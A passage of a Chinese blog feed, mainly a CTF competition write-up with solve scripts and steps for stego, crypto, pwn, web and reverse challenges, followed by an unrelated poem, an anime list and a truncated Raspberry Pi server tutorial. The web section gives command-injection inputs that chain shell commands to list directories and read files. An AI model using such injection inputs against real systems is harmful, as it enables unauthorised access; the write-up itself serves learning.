loading="lazy"></p><blockquote><p>刚做题时的情形:“我真傻,真的,”蒟蒻抬起他没有神采的眼睛来,接着说。“我单知道明文攻击时候需要一个已知文件;我不知道只要前12字节就能攻击了。我一清早起来就开了电脑,计算flag.txt的crc32值,叫我们的Python脚本开始工作。到了下午,终于给出了12个crc32值相同的字符串,我便开了12个ARPHCR来攻击,过了一阵子没出结果。我急了,CPU内核们都说找不到了,再一看,8个密钥未找到,还有几个还在算呢。。。。”他接着但是呜咽,说不出成句的话来。。</p></blockquote><blockquote><p>对此,我们伟大的Beta猫学长回复道:成长需要时间</p></blockquote><h3 id="YourCraft">YourCraft</h3><p>666,这个入开桂了</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=V0tpUHhnTHc4VllzOVQzbXBuRGltUkFHQnBrUGkzTFlxdz09" alt="2024-11-22_12.03.15" data-caption="2024-11-22_12.03.15" loading="lazy"></p><h3 id="点击即送flag">点击即送flag</h3><p>点击即送 flag:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=OUh6dEdLRHRSZFVET2xwSEJhb1F5UkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123192350" data-caption="Pasted image 20241123192350" loading="lazy"></p><h3 id="290的小秘密">290的小秘密</h3><p>根据题目提示,该图片使用了lsb隐写</p><p>使用 <code>stegsolve</code> 打开,这题的信息隐藏在 RGB 三个通道的最低位中,通过 <code>Analyse -> Data Extract</code> 得到flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dkx4UzQwUjBHR0tUUzdQWFIzbERMUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123192941" data-caption="Pasted image 20241123192941" loading="lazy"></p><h3 id="5525">5525</h3><p>根据题目提示采用了 <code>SilentEye</code> 隐写,从压缩包中的 <code>hint.txt</code> 得到密钥为 “Mayday” ,使用 <code>SilentEye</code> 解密,得到flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=NS9wRnVwQmRockV2VVlBamJoMzdTQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123193358" data-caption="Pasted image 20241123193358" loading="lazy"></p><h3 id="EasyZip">EasyZip</h3><p>根据题目描述得知要暴力破解,使用 <code>ARCHPR</code> 暴力破解得到密码:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=TlRxZHpjUk1CM3kyRXVQWDhqRjEzeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123193717" data-caption="Pasted image 20241123193717" loading="lazy"></p><h3 id="WirrreShark">WirrreShark</h3><h3 id="step-1-3">step 1</h3><p>使用 <code>WirrreShark</code> 打开题目文件</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VXAwN0FmSitrU0VKMzRwaUt5UDFaeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123194043" data-caption="Pasted image 20241123194043" loading="lazy"></p><h4 id="step-2-3">step 2</h4><p>依次查看各个条目,在第五个条目中发现flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=blpQVjZGMktSbWFMQm1wQ3poVGhZQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123194153" data-caption="Pasted image 20241123194153" loading="lazy"></p><h3 id="我图图呢">我图图呢</h3><h4 id="step-1-4">step 1</h4><p>题目文件是一个图片,无法打开</p><p>使用 <code>010editor</code> 查看</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=VGZ1Rk9uSDN3MTBHYlYvdWJGekY0UkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123194700" data-caption="Pasted image 20241123194700" loading="lazy"></p><p>发现文件标头被修改,将其改正</p><p>修正后得到图片</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=WStTWnpDVk04alJ6ZytmS1Vwa1RMeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123195245" data-caption="Pasted image 20241123195245" loading="lazy"></p><h4 id="step-2-4">step 2</h4><p>图片宽高不对,需要使用脚本爆破CRC得到宽高</p><p>脚本源码:</p><pre><code class="language-python">import zlib import struct import argparse import itertools parser = argparse.ArgumentParser() parser.add_argument("-f", type=str, default=None, required=True, help="crc.png") args = parser.parse_args() bin_data = open(args.f, 'rb').read() crc32key = zlib.crc32(bin_data[12:29]) # 计算crc original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crc if crc32key == original_crc32: # 计算crc对比原始crc print('宽高没有问题!') else: input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):") if input_ not in ["Y", "y", ""]: exit() else: for i, j in itertools.product(range(4095), range(4095)): # 理论上0x FF FF FF FF,但考虑到屏幕实际和cpu,0x 0F FF就差不多了,也就是4095宽度和高度 data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29] crc32 = zlib.crc32(data) if(crc32 == original_crc32): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,若相同,则图片大小已经确定 print(f"\nCRC32: {hex(original_crc32)}") print(f"宽度: {i}, hex: {hex(i)}") print(f"高度: {j}, hex: {hex(j)}") exit(0)</code></pre><p>最后得到宽高为:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UmRTckdrN2NnbEkwcVpacVordlRqaEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123200317" data-caption="Pasted image 20241123200317" loading="lazy"></p><p>使用 <code>010editor</code> 编辑宽高,得到完整图片</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=R2N6UzBvYnU4ODZ4aXI4b0tjbDh4eEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123200827" data-caption="Pasted image 20241123200827" loading="lazy"></p><h4 id="step-3-2">step 3</h4><p>在文件尾找到后半部分 flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MUxGZW4yZ25mWGVqUmVXL09xWkNJeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123200923" data-caption="Pasted image 20241123200923" loading="lazy"></p><h2 id="Crypto">Crypto</h2><h3 id="Classic-AES">Classic_AES</h3><p>由题目可知采用了AES_ECB加密,并且种子是一个小整数,编写脚本爆破:</p><pre><code class="language-python">import random from Crypto.Cipher import AES import base64 import os def generate_key(seed): random.seed(seed) key = bytes([random.randint(0, 255) for _ in range(16)]) return key def decrypt(ciphertext, key): cipher = AES.new(key, AES.MODE_ECB) plaintext = cipher.decrypt(base64.b64decode(ciphertext)) pad_len = plaintext[-1] # 去除 PKCS#7 填充 return plaintext[:-pad_len].decode() if __name__ == "__main__": flag = "x/xvgy+sXb6I8j96FTT5fgEGT9lMR4XC/zKTvdY77a3Yntdvn1GScfkf/MHziWzI" for seed in range(100000): # 暴力破解种子 try: # 使用try...except...避免无法解码错误退出 key = generate_key(seed) decrypted_flag = decrypt(flag, key) if "Redrock" in decrypted_flag: # 筛选出包含"Redrock"的结果 print(decrypted_flag) break except: pass</code></pre><p>得到 flag :</p><pre><code>Redrock{6b16bf86-6749-4112-b438-319e4ce7a5c1}</code></pre><h3 id="Morse-Code">Morse_Code</h3><p>密文:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=NWNuR2c2NG9VcjdjRkxUdWlLd2RkeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123203637" data-caption="Pasted image 20241123203637" loading="lazy"></p><p>解密得:</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=WnV1b3E0UDdzVFBlZnpOQTJMbm4zUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123203849" data-caption="Pasted image 20241123203849" loading="lazy"></p><h3 id="What-is-RSA">What is RSA</h3><p>文件中有p,q,e,c四个值</p><p>From ChatGPT:</p><p>在RSA加密算法中,以下是每个符号的含义:</p><ol><li><p><strong>p 和 q</strong>:<br />这两个是大素数,用于生成密钥。</p><ul><li>选择两个大素数 p 和 q,它们应尽可能随机且保密。</li><li>计算 n=p×q,n 是密钥的一部分。</li></ul></li><li><p><strong>e</strong>:<br />公钥指数(加密指数)。</p><ul><li>e 是一个与 ϕ(n)=(p−1)(q−1) 互素的整数,满足 1<e<ϕ(n)。</li><li>常见的 e 值是 65537,因为它计算效率高,且足够安全。</li></ul></li><li><p><strong>c</strong>:<br />密文(ciphertext)。</p><ul><li>明文 m 加密后生成的结果 c,计算公式是: c=m^e mod n</li></ul></li></ol><h5 id="补充说明">补充说明</h5><ul><li><strong>私钥指数 d</strong>:解密指数,用于解密密文。它满足: d×e≡1mod ϕ(n)</li><li>解密公式: m=c^d mod n</li></ul><p>RSA 的核心在于大数分解的困难性。</p><p>根据以上内容写出解密脚本代码:</p><pre><code class="language-python">from sympy import mod_inverse p = 107838628855654812471413655393398150378995246065154350033910452648032730414023 q = 63326381933899241811507370594269184413864749996932931556519044275437019848179 e = 65537 c = 2614337245710053040032169192794377666429639491165446083830186166080709603975820326607483164927365452151697893098970942225623463372515924991756039075659888 phi_n = (p - 1) * (q - 1) # 计算 n 和 φ(n)n = p * q d = mod_inverse(e, phi_n) # 计算 dm = pow(c, d, n) # 得到明文 # 将得到的明文转为字符串 def int_to_string(m): hex_string = hex(m)[2:] # 转成16进制并去掉 "0x" 前缀 if len(hex_string) % 2: # 确保长度为偶数 hex_string = "0" + hex_string return bytes.fromhex(hex_string).decode('utf-8') # 按照字节解码 # 转换并输出字符串 try: plaintext = int_to_string(m) print(plaintext) except UnicodeDecodeError: print("无法解码")</code></pre><p>得到 flag :</p><pre><code>Redrock{0b46cdfc-4b31-4023-a33d-b8defada9457}</code></pre><h3 id="real1ty的小秘密">real1ty的小秘密</h3><p>由题目可知是凯撒密码,因为不知道偏移量,所以需要枚举26次得到明文</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cHNtRDNVNE1OV0xyWStWb2I5bUpzUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123210844" data-caption="Pasted image 20241123210844" loading="lazy"></p><h3 id="我解md5真的假的">我解md5真的假的</h3><p>part1-3和5可通过 [[<a href="https://www.somd5.com/">https://www.somd5.com/</a>]] 查到,part4根据提示,可通过穷举得到原文,穷举代码如下:</p><pre><code class="language-python">import hashlib # MD5目标值 target_md5 = "ad5da884551e8e48886ce42b926d7fe8" # 字符来源 special_chars = "!@#$%^&-()" numbers = "0123456789" letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" # 所有可能的组合 for special_pair1 in special_chars: for special_pair2 in special_chars: # 从特殊字符中选2个 for number in numbers: # 从数字中选1个 for letter in letters: # 从字母中选1个 # 拼接成字符串 candidate = '' + special_pair1 + special_pair2 + number + letter # 计算MD5 md5_hash = hashlib.md5(candidate.encode()).hexdigest() # 判断是否匹配 if md5_hash == target_md5: print(f"找到匹配字符串: {candidate}") break</code></pre><p>最终得到flag:</p><pre><code>youknowmd5isnotsafe%@7D8545</code></pre><h2 id="Pwn">Pwn</h2><h3 id="login">login</h3><h4 id="step-1-5">step 1</h4><p>分析程序逻辑,发现输入-1即可得到shell</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=WFk0OS9pRnVSVVdvN1hLSjU3dzR1eEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123224127" data-caption="Pasted image 20241123224127" loading="lazy"></p><h4 id="step-2-5">step 2</h4><p>nc连接输入-1,得到shell</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=b2FUa0x0V2lTNE45azBZM1lSY201eEFHQnBrUGkzTFlxdz09" alt="4bde6e6ce2d381dbf85a4384dc5a180f" data-caption="4bde6e6ce2d381dbf85a4384dc5a180f" loading="lazy"></p><h3 id="real-login">real_login</h3><p>按照提示操作即可</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dXh2SmxFSXA4eS9QTEtnWEREbzBNaEFHQnBrUGkzTFlxdz09" alt="1e02562d7e402e99ded2cd20d42287a3" data-caption="1e02562d7e402e99ded2cd20d42287a3" loading="lazy"></p><h3 id="计算猫">计算猫</h3><p>手动计算得到 <code>shell</code></p><h2 id="Web">Web</h2><h3 id="这是真签到">这是真签到</h3><p><code>F12</code> 大法好</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UVNmR2RkMGtWT1FoMXcvaWxuWXUzUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123132248" data-caption="Pasted image 20241123132248" loading="lazy"></p><h3 id="Ping">Ping</h3><p>注入题,输入 <code>1|ls /</code> 查看根目录</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=bW5yVUVPNWNXZDZuL2Q3N3NXR2ROUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123132438" data-caption="Pasted image 20241123132438" loading="lazy"></p><p>发现有flag,尝试查看文件,输入 <code>1|cat /flag</code></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=S3Rnb3kva0VoSDJuSGc5K2t5SjhDeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123132504" data-caption="Pasted image 20241123132504" loading="lazy"></p><p>可能是对 <code>flag</code> 关键字做了特殊处理,用模糊匹配就行了<br />输入 <code>1|cat /fla*</code> 即可</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=TXlnQ0pjekwvRkdTUWhkL0g0RFJKUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123132556" data-caption="Pasted image 20241123132556" loading="lazy"></p><h3 id="贪吃蛇">贪吃蛇</h3><p>打开控制台,给score赋值10000即可</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=RWxnRFZlbGV2L0RvdlgrS01hZnUxUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123230515" data-caption="Pasted image 20241123230515" loading="lazy"></p><h2 id="Reverse">Reverse</h2><h3 id="srand-s">srand%s</h3><p>Linux远程调试后,得到对应的v4值,并将其输出</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aHQwaythbnFsbUpERC9ySzB1WHpTeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123232140" data-caption="Pasted image 20241123232140" loading="lazy"></p><pre><code class="language-c">#include <stdio.h> int main() { int v3[41]; v3[0] = 53; v3[1] = 163; v3[2] = 13; v3[3] = 1; v3[4] = 62; v3[5] = 156; v3[6] = 33; v3[7] = 151; v3[8] = 72; v3[9] = 190; v3[10] = 222; v3[11] = 221; v3[12] = 194; v3[13] = 195; v3[14] = 208; v3[15] = 46; v3[16] = 26; v3[17] = 168; v3[18] = 49; v3[19] = 150; v3[20] = 113; v3[21] = 219; v3[22] = 223; v3[23] = 184; v3[24] = 78; v3[25] = 99; v3[26] = 29; v3[27] = 11; v3[28] = 91; v3[29] = 249; v3[30] = 163; v3[31] = 185; v3[32] = 38; v3[33] = 20; v3[34] = 101; v3[35] = 196; v3[36] = 91; v3[37] = 96; v3[38] = 154; v3[39] = 39; printf("Redrock{"); printf("%c",0x29u^v3[8]); printf("%c",0xCDu^v3[9]); printf("%c",0xBAu^v3[10]); printf("%c",0xABu^v3[11]); printf("%c",0xF2u^v3[12]); printf("%c",0xFBu^v3[13]); printf("%c",0xE3u^v3[14]); printf("%c",0x46u^v3[15]); printf("%c",0x7Cu^v3[16]); printf("%c",0xC2u^v3[17]); printf("%c",0x54u^v3[18]); printf("%c",0xF8u^v3[19]); printf("%c",0x1Bu^v3[20]); printf("%c",0xE8u^v3[21]); printf("%c",0xE7u^v3[22]); printf("%c",0x8Du^v3[23]); printf("%c",0x76u^v3[24]); printf("%c",0x5Au^v3[25]); printf("%c",0x2Eu^v3[26]); printf("%c",0x63u^v3[27]); printf("%c",0x33u^v3[28]); printf("%c",0x9Fu^v3[29]); printf("%c",0xC9u^v3[30]); printf("%c",0x9Au^v3[31]); printf("%c",0x66u^v3[32]); printf("%c",0x32u^v3[33]); printf("%c",0xDu^v3[34]); printf("%c",0xB7u^v3[35]); printf("%c",0x31u^v3[36]); printf("%c",0x58u^v3[37]); printf("%c",0xA3u^v3[38]); printf("%c",0x5Au^v3[39]); }</code></pre><p>通过对应的值输出对应的字符</p><h3 id="easy">easy</h3><p>在 IDA 中按下 <code>Shift + F12</code> 查看字符串,即可找到flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=MnQ0MHV2ajBLcFlieE9sVERFRDJQaEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123232717" data-caption="Pasted image 20241123232717" loading="lazy"></p><h3 id="花花的世界">花花的世界</h3><p>先查壳,但查不到,根据题目描述猜测使用 <code>UPX</code> 壳<br />无法使用 <code>UPX</code> 直接去壳,使用 <code>010editor</code> 打开发现识别 <code>UPX</code> 的部分被改成了 <code>SRE</code> ,改回去壳即可</p><p>反编译使用 <a href="https://github.com/x1aon1ng/NoMoreFlower/blob/master/NoMoreFlower.py">NoMoreFlower</a> 去花</p><p>再对关键函数按下 <code>P</code> 重构函数,按 <code>F5</code> 得到伪代码</p><p>分析代码逻辑,程序将输入进行 <code>RC4</code> 加密,密钥为 <code>flower</code> ,后将其与随机数进异或位运算,最后与预存数组比较<br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Mjlwa2xoSnlOZXljVTRERCsyQWRtUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123234816" data-caption="Pasted image 20241123234816" loading="lazy"><br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dGpNNHd4ZU5iOUtxTWVmSFBqcDV2aEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123234824" data-caption="Pasted image 20241123234824" loading="lazy"><br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZUV3N3d6ZnNqbDcrMXUyUmNzUWJSUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123234812" data-caption="Pasted image 20241123234812" loading="lazy"></p><p>srand种子是取了高位,所以随机数种子短时间不变</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=R2doU1pSOWVMS3VueDlSL2liNEh5UkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123234859" data-caption="Pasted image 20241123234859" loading="lazy"></p><p>最后根据逻辑编写程序算出原RC4密文,再进行解密,得到flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=Qm1lNFM1QWpqRUhmekM3bFBWTWtoUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123234942" data-caption="Pasted image 20241123234942" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=azdGZVQzU005NzVwRFh5Q1NwN3czaEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123235030" data-caption="Pasted image 20241123235030" loading="lazy"></p><h3 id="Rc4-py">Rc4_py</h3><p>使用 <code>pyinstxtractor</code> 解包,然后在 <code>ereee</code> 文件发现base64字符串后,又根据题目描述使用rc4解密,密钥为 <code>flag{123321321123badbeef012}</code> ,密文即发现的base64字符串</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=b3QrWTM1ekw2cHRBS3A4YVB1WnAwQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123235454" data-caption="Pasted image 20241123235454" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=dERhdHRkOTFyMStLMXdZUEptR1J3QkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123235502" data-caption="Pasted image 20241123235502" loading="lazy"></p><h3 id="baby-reverse">baby_reverse</h3><p>走迷宫,程序似乎会对行顺序进行调整</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ZUF6NU5UWDJyUm9taHZqMFdqU1ZmUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241123235742" data-caption="Pasted image 20241123235742" loading="lazy"></p><p>调整后即可得到路径</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=cUtvaXJyeVZQWG5ZWkl6SWZ3RnVseEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124002424" data-caption="Pasted image 20241124002424" loading="lazy"></p><p>原文wp:[[<a href="https://singularityctf.blogspot.com/2014/03/volgactf-quals-2014-writeup-reverse-100.html">https://singularityctf.blogspot.com/2014/03/volgactf-quals-2014-writeup-reverse-100.html</a>]]</p><h3 id="这是什么语言">这是什么语言</h3><p>下述操作需要先找到入口</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=S0dGVWlnUk9PaVFscE1qc1ErYXI0QkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124003902" data-caption="Pasted image 20241124003902" loading="lazy"><br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=N3ZqWUdtazhHUWFHWllUc1pZS0RBeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124003937" data-caption="Pasted image 20241124003937" loading="lazy"><br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=U3RsYU14dWVjdFBKMkZqcXRtaHEyUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124003942" data-caption="Pasted image 20241124003942" loading="lazy"><br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=UCtIa0RWOHUzc0RJQWRPN0FUUTNCQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124003537" data-caption="Pasted image 20241124003537" loading="lazy"><br /><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ak9JWENnTyt3UXlxY1Bsem5MR1pqeEFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124003548" data-caption="Pasted image 20241124003548" loading="lazy"></p><p>这是仓颉语言,分析貌似使用了RSA或AES,但无法找到对应公私钥和密文,所以使用动态调试,在栈中找到flag<br />设置断点在解密结束后,在寄存器中找到了flag</p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=ajJrY1ZjNFI1dlNwMy8wK0l6SXpEUkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124000552" data-caption="Pasted image 20241124000552" loading="lazy"></p><p><img data-fancybox="gallery" src="https://img.24kblog.top/app/hide.php?key=aWpsUjZpalZ5c01FSjUyaUp0YjlyQkFHQnBrUGkzTFlxdz09" alt="Pasted image 20241124000757" data-caption="Pasted image 20241124000757" loading="lazy"></p>]]></content>
<summary type="html">本文分享了CTF隐写术实战经验,详细解析了如何利用Java盲水印、stegdetect、stegbrute和ARCHPR等工具破解JPG隐写和ZIP密码。从检测隐写类型到跑字典获取flag,一步步指导读者掌握隐写分析技巧,适合网络安全爱好者和CTF参赛者学习参考。</summary>
<category term="网安" scheme="https://24kblog.top/tags/%E7%BD%91%E5%AE%89/"/>
<category term="CTF" scheme="https://24kblog.top/tags/CTF/"/>
</entry>
<entry>
<title>不能被看见的,雪</title>
<link href="https://24kblog.top/posts/1183353236/"/>
<id>https://24kblog.top/posts/1183353236/</id>
<published>2023-09-17T16:59:47.000Z</published>
<updated>2026-03-04T04:26:53.629Z</updated>
<content type="html"><![CDATA[<h1>不能被看见的,雪</h1><p>海南下了一场雪,在这个葱郁的学校。</p><p>好像大家都其乐融融,可是还是有小部分人看见了雪,当然,大部分人看不见,也有人假装看不见。</p><p>这是一场没有温度的雪,却令人心如刀割。雪并不大,恰恰好雪中有一片不结冰的小池,中间躺着一朵白莲。雪就像眼泪,那么细小,却又那么坚毅。看见雪的人都发着抖,假装看不见的人也发着抖,只可惜,这雪和泪那样的像,泪是最无用的东西,而雪也是。</p><p>大家站在水池边祈祷,那是美好的愿望,可白莲仍静静地躺着,他似乎没有听到。假装看不见雪的人自然也假装看不见白莲,若无其事的踩过去,白莲又碎了几瓣,可看见雪的人没办法,因为他们说自己是“假装看见雪的人”。<br />最后雪也哭了,他恨自己的无用,他太伤心了,于是在这儿落下了所有人都看得见的雨,可那终究不是雪,他愤怒地捶打着大地,又无力地留下了哀嚎,那哀嚎化作雷,向所有看不见雪的人示戚,可是还是没用,他们可以假装看不见雪,也可以假装看不见雷。</p><p>雪仍在下,可他说他已经快耗尽了,如果不能所有人都看见雪,那么就再也见不到白莲了。</p><p>白莲仍躺着,却再也不能活泼地长大了。</p><p>转自抖音号:dyudfdyw7yrk</p>]]></content>
<summary type="html">海南校园中一场看不见的雪,隐喻着被忽视的社会现象。雪如眼泪般细小坚毅,白莲静静躺在不结冰的水池中,见证着假装看不见的冷漠与看见者的无力。当雪耗尽,白莲再难成长,引发对集体意识与真实面对的深刻反思。</summary>
</entry>
<entry>
<title>追番备份</title>
<link href="https://24kblog.top/posts/4151385849/"/>
<id>https://24kblog.top/posts/4151385849/</id>
<published>2023-05-27T05:19:33.000Z</published>
<updated>2026-03-04T04:28:31.181Z</updated>
<content type="html"><![CDATA[<p>还有一年就要高考了,在此做一个追番备份,等考完了再补</p><h2 id="2023年7月">2023年7月</h2><ul><li>死神少爷与黑女仆 第2期</li><li>喜欢的人忘记戴眼镜了</li><li>公司里的小小前辈</li><li>AI电子基因</li><li>无职转生 第2期</li><li>间谍教室 第2期</li><li>Liar・Liar 谎言游戏</li><li>满怀美梦的少年是现实主义者</li><li>莱莎的炼金工房</li><li>白圣女与黑牧师</li><li>其实我乃最强?</li><li>总之就是非常可爱 女高篇</li></ul><h2 id="2023年10月">2023年10月</h2><ul><li>间谍过家家 第2期</li><li>石纪元 第3期 Part.2</li><li>葬送的芙莉莲</li><li>晚安 世界</li><li>凹凸魔女的母女故事</li><li>超超超超喜欢你的100个女孩子</li><li>SHY 腼腆英雄</li><li>星灵感应</li><li>16bit的感动 Another Layer</li><li>放学后少年花子君</li><li>药屋少女的呢喃</li><li>堤亚穆帝国物语 从断头台开始的公主重生后的逆转人生</li><li>家里蹲吸血姬的苦闷</li><li>我推是反派大小姐</li><li>捡到被退婚大小姐的我教会她做坏坏的事</li><li>想当冒险者前往大都市的女儿升到了S级</li><li>某大叔的VRMMO活动记</li><li>经验丰富的你和经验为零的我交往的故事</li><li>偶像大师 百万现场</li><li>赛马娘 Pretty Derby 第3期</li><li>铁路浪漫谭 第2期</li></ul><h2 id="想补的番">想补的番</h2><ul><li>赛马娘</li><li>铁路浪漫谭</li><li>妖幻三重奏</li></ul>]]></content>
<summary type="html">这是一份高考前动漫追番清单,记录了2023年7月和10月播出的热门新番及续作,包括《死神少爷与黑女仆 第2期》《间谍过家家 第2期》《葬送的芙莉莲》等作品,以及计划补番的《赛马娘》《铁路浪漫谭》等经典动画。适合动漫爱好者参考追番计划,探索精彩剧情和角色故事。</summary>
<category term="番剧" scheme="https://24kblog.top/tags/%E7%95%AA%E5%89%A7/"/>
</entry>
<entry>
<title>树莓派搭建哔哩漫游解析服务器</title>
<link href="https://24kblog.top/posts/4060428211/"/>
<id>https://24kblog.top/posts/4060428211/</id>
<published>2023-01-28T10:19:33.000Z</published>
<updated>2026-03-04T04:28:10.876Z</updated>
<content type="html"><![CDATA[<h1>用树莓派搭建哔哩漫游服务器</h1><p>准备:</p><ul><li>懂得提问过程的脑子</li><li>会用搜索引擎的手</li><li>耐心</li><li>树莓派(或其他能长时间运行的计算机)</li><li>魔法</li><li>域名</li><li>一点点Linux知识</li></ul><h2 id="第一步">第一步</h2><h3 id="准备工作">准备工作</h3><p>域名:有许多免费申请域名的方法,Bing搜索都有,这里不再赘述,不过比起免费还是建议去购买域名,一年最多就几十块,不算很贵<br />树莓派:这里我安装了Ubuntu 22.04.1 LTS,下文的许多指令不确定在Ubuntu以外的操作系统有效,尽情留意<br />魔法:懂的都懂,没有的可以散伙了,建议用付费的,比较稳定,详细的我也不敢说,我怕备案掉了,不过后文的配置文件会提一嘴</p><h2 id="第二步">第二步</h2><h3 id="环境搭建">环境搭建</h3><h4 id="Go编译器安装">Go编译器安装</h4><p>我们在这里采用手动安装的方式,因为不确定apt是否能安装到最新的稳定版本<br />先从<a href="https://go.dev/dl/">此处</a>找到合适的软件包(因为是树莓派所以选择linux-arm64),右键复制链接</p><pre><code>wget <下载网址> && tar -C /usr/local -xzf <下载文件名></code></pre><p>如果下载慢或无法下载,请使用魔法或者使用<a href="https://studygolang.com/dl">此处</a>镜像(本人不保证该资源安全,请自行校验或选择可信镜像站)<br />然后编辑<code>/etc/environment</code>,在path变量后加上<code>/usr/local/go/bin</code><br />最后执行<code>go version</code>,如果是类似以下的输出结果则为安装成功</p><pre><code>go version go1.19.4 linux/arm64</code></pre><h4 id="安装PostgreSQL">安装PostgreSQL<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup></h4><p>一行命令</p><pre><code>apt-get install postgresql postgresql-client</code></pre><p>装完后进入PostgreSQL</p><pre><code>psql -h localhost -p 5432 -U postgres</code></pre><p>如果显示类似如下错误信息:</p><pre><code>psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL: role "root" does not exist</code></pre><p>请使用以下指令再试一遍:</p><pre><code>sudo -u postgres psql -h localhost -p 5432 -U postgres</code></pre><p>修改登录密码(password112233修改为你喜欢的任意字符)</p><pre><code>ALTER USER postgres WITH PASSWORD 'password112233';</code></pre><p>创建并进入数据库</p><pre><code>CREATE DATABASE bili;\c bili;</code></pre><p>初始化数据库,复制<a href="https://raw.githubusercontent.com/JasonKhew96/biliroaming-go-server/main/sql/initdb.sql">这个页面</a>内所有内容后粘贴即可(请务必进行这一步,否则后续可能报错)</p><p>如果解析服务器搭建后你想查看使用的用户详情的话建议你安装一个pgadmin4<br />使用docker安装会比较舒服,同时还推荐一个家庭云管理,说是家庭云,其实就像一个小型的docker容器可视化管理器</p><h4 id="sock5端口的建立">sock5端口的建立</h4><p>这是关于魔法的部分,如果没有魔法请自行离开<br />使用某ray软件,配置文件<sup class="footnote-ref"><a href="#fn2" 